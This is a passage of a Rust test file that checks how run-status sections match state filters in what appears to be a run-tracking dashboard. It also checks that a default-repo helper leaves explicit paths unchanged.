14039 | "already_in_base" => "ended",
14040 _ => "flight",
14041 }
14042 }
14043
14044 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14047 match filter_key {
14048 "active" => !done,
14049 "flight" => !done && !waiting && !dead,
14050 "stale" => !done && !waiting && dead,
14051 "waiting" => waiting,
14052 "done" => done,
14053 "all" => true,
14054 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14055 }
14056 }
14057
14058 let compatible = |section: &str, filter_key: &str| {
14059 shapes.iter().any(|(waiting, status, dead, done)| {
14060 run_section(*waiting, status, *dead) == section
14061 && filter_matches(filter_key, *waiting, *dead, *done)
14062 })
14063 };
14064
14065 let expected = [
14070 ("waiting", [true, false, false, true, true, true]),
14071 ("stale", [true, false, true, false, false, true]),
14072 ("flight", [true, true, false, false, false, true]),
14073 ("landed", [false, false, false, false, true, true]),
14074 ("ended", [false, false, false, false, true, true]),
14075 ];
14076 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14077
14078 for (section, wants) in expected {
14079 for (filter_key, want) in filter_keys.iter().zip(wants) {
14080 assert_eq!(
14081 compatible(section, filter_key),
14082 want,
14083 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14084 );
14085 }
14086 }
14087
14088 assert!(
14091 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14092 );
14093 assert!(APP_JS.contains(
14094 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14095 ));
14096 assert!(APP_JS.contains(
14097 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14098 ));
14099 }
14100
14101 #[tokio::test]
14102 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14103 let dir = tempfile::tempdir().expect("tempdir");
14107 let explicit = dir.path().join("not-a-checkout");
14108 std::fs::create_dir_all(&explicit).expect("create dir");
14109 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14110
14111 let missing = dir.path().join("does-not-exist-at-all");
14112 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14113 }
14114}